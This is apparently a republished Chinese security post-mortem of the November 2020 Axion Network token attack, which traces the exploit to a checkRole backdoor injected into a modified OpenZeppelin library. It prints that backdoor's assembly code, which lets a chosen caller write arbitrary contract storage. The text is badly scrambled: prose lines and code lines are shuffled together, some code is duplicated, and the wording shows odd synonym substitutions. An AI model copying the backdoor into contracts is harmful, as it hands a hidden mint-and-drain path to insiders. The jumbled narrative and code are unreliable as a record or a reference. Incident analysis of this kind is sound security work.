http://www.7klian.com

一文还原Axion Network进攻事件始末

在阐明白已陈设的Staking合约源代码之后,CertiK安详审计团队在Staking合约的已陈设的源代码➆第665-671行发明白一处代码注入,该代码注入产生在被修改的OpenZeppelin库中的AccessControl智能合约 。
进攻途径
             * Finally, this segment utilizes the first 
            and(
黑客在动员进攻时利用的是前一天从tornado.cash➁中获取的匿名资金➂,说明这是一次有预谋的进攻。
                )
随后,他们核准了Axion的NativeSwap合约,以获取即将转换为AXN代币的资金额。
被恶意操作的智能合约函数不属于CertiK审核的范畴内。
             * Copy input data of the function to memory
        mstore(0x00, origin()) 
➃https://etherscan.io/tx/0x6b34b75aa924a2f44d6fb2a23624bf5705074cbc748106c32c90fb32c0ab4d14
                ),
            /**
从此,黑客预推测进攻将会乐成,因此向Uniswap生意业务所预先授权了无限制的AXN。
                keccak256(0x00, 0x20), 
        /**
        }

2020年11月2日北京时间晚上七时阁下➀,黑客操作Axion Staking合约的unstake函数设法锻造了约800亿个AXN代币。
                sub(calldatasize(), 0x04)
}
          sstore(mload(add(mload(0x00), 0x00)), mload(add(mload(0x00), 0x20)))
             * This allows arbitrary arguments to be “stored”
             * At this point, our attacker has gained access
                mload(0x00), 
进攻执行
             * 32-bytes of the calldata we copied earlier
            
以上提到的生意业务仅仅是黑客为了呵护真正unstake进攻的烟雾弹。
            /**
             * in the function to memory. The first 4 bytes are
CertiK安详审计团队认为该进攻极大大概是内部操纵造成的,该内部操纵通过在陈设代码时,对项目依赖的OpenZeppelin依赖项注入恶意代码。 
        ) {
         * the resulting bytes with the value 0x1d7b980f
             * omitted as they represent the function signature.
            /**
                0xffffffff
大概是以防进攻失败而节减一些资金,黑客账户在收到资金后,当即通过tornado.cash转出了2.1个以太币。
}
在基于的生态系统中,提高安详性就必需将传统审计与链上安详性阐明相团结。CertiK安详预言机将有效淘汰链上生意业务与及时安详检测之间的间隔,致力于运用去中心化的要领来办理安详难点。
                    add(mload(0x00), 0x20)
             * 32-bytes of the input calldata.
            0x1d7b980f
此函数是在合约陈设时添加的,因为OpenZeppelin的AccessControl的实现中并不存在此函数,这意味着参加陈设代币的Axion Network成员从中作梗。 
            )
                mload(
             */
            
链接中的checkRole函数不属于OpenZeppelin v3.0.1的实现,而OpenZeppelin v3.0.1➇在项目标GitHub代码存储库中被列为依赖项。
        

在11月2日上线后仅几个小时,Axion Network代币AXN的价值暴跌了100%。这次价值暴跌披露了其存在的裂痕,下文是CertiK安详审计团队针对此事件的完整阐明。

            ),
                mload(
             * malicious function will write the latter
             * as the arbitrary storage location the 
黑客随后将AXN代币在Uniswap生意业务所中兑换以太币,反复此进程,直到Uniswap中ETH-AXN生意业务对的以太币所被耗尽,同时AXN代币价值降至0。
                    add(mload(0x00), 0x00)
        // Store the tx.origin at memory offset 0
        if eq(and(keccak256(0x00, 0x20), 0xffffffff), 0x1d7b980f){
                 0x00, 
        if eq(
            mstore(

            ) 
在进攻产生后的几分钟内,CertiK安详审计团队获知了该进攻事件,并立刻展开了观测。
颠末仔细验证,团队无法在stake函数之外检测到对其或其成员的任何修改操纵,这使得我们猜疑该项目智能合约是否被正确的陈设。
             * above
在checkRole函数中,存在以下 assembly模块:
随后,他们在执行进攻前又挪用了一次deposit函数,,可是这次挪用执行最终失败。
    assembly {
        }
         * bitwise AND with 0xffffffff, finally comparing
            )
             */
它可以从去中心化的安详运营商网络中检索一组安详评分,得到安详靠得住的网络评估源代码,所有人都可以通过利用预言机来验证合约安详性。
进攻预谋
在北京时间下午四时➄,黑客先以数量为 0 和一连抵押时间为 1 天为参数挪用stake函数,在Axion Network的抵押条约中建设“空”抵押。
进攻筹备
为了找到大概导致sessionDataOf映射受到影响的原因,CertiK安详审计团队在GitHub代码存储库中审查了项目方与CertiK共享的合约源代码。
➁https://tornado.cash/
function checkRole() public virtual {
在此CertiK也出格强调,为了担保审计陈诉的有效性,和对项目安详的保障,审计陈诉应包罗已陈设的智能合约地点。地点所指向的合约的代码应是和被审计过的源代码沟通的。因此,请各人切勿因为看到项目“已审计”就不做任何配景观测而盲目跟进。 
         * memory offset 0x00 and 0x20 i.e. tx.origin
function checkRole() public virtual {
黑客在约莫北京时间下午五时➅挪用了NativeSwap合约的deposit函数,然而黑客并未挪用该合约的withdraw函数来获取其互换获得的AXN,这在NativeSwap合约的swapTokenBalanceOf函数清晰可见。
                 mload(0x40)
         * Compute keccak256 hash for data between
由于黑客举办的生意业务未变动sessionDataOf映射,因此可以得出结论,这是一次多地点进攻。
                0x04, 
➇https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.0.1/contracts/access/AccessControl.sol

          calldatacopy(mload(0x00), 0x04, sub(calldatasize(), 0x04)) 
    }
    assembly {
             
         */
            // Get a free memory pointer
在将Axion项目代码和OpenZeppelin依赖代码结归并举办陈设时,该恶意代码跟着OpenZeppelin依赖代码被注入到陈设的项目中。
          mstore(0x00, mload(0x40)) 
➄https://etherscan.io/tx/0x5e5e09cb5ccad29f1e661f82fa85ed172c3b66c4b4922385e1e2192dc770e878
             * to their injected code via the hash validation
         * and retain only the first 8 bytes by conducting
此次进攻涉及到的代码,是在合约陈设前被工钱存心添加进去的。
此函数答允特定地点通过底层挪用按照其传入的参数对合约举办任意写入。带注释的assembly 模块如下所示:
此次事件与CertiK完成的审计毫无关联,对这次进攻所认真的人应是参加了Axion Network合约陈设的相关人员。
➆https://etherscan.io/address/0xcd5f8dcae34f889e3d9f93f0d281c2d920c46a3e
这为黑客建设了一个Session条目,其会话ID为6,数量为0,股价为0。
参考链接:
            calldatacopy(
             */
作为本次进攻的筹备事情的最后一步,黑客从Uniswap生意业务所购置了约莫70万个HEX2T代币➃。然而,这些资金最终没有参加到进攻中,而是为呵护进攻行为而放出的烟雾弹。
结论
    }
➅https://etherscan.io/tx/0xf2f74137d3215b956e194825354c693450a82854118a77b9318d9fdefcfbf875
            sstore(
➀https://etherscan.io/tx/0xc2a4a11312384fb34ebd70ea4ae991848049a2688a67bbb2ea1924073ed089b4
➂https://etherscan.io/tx/0x86f5bd9008f376c2ae1e6909a5c05e2db1609f595af42cbde09cd39025d9f563/advanced
CertiK安详预言机,作为一个链上可及时交互举办安详检测的东西,可以有效确保并验证已陈设的智能合约匹配已被审计的版本。
        mstore(0x00, origin()) 

郑重声明:本文版权归原作者所有,转载文章仅为传播更多信息之目的,如作者信息标记有误,请第一时间联系我们修改或删除,多谢。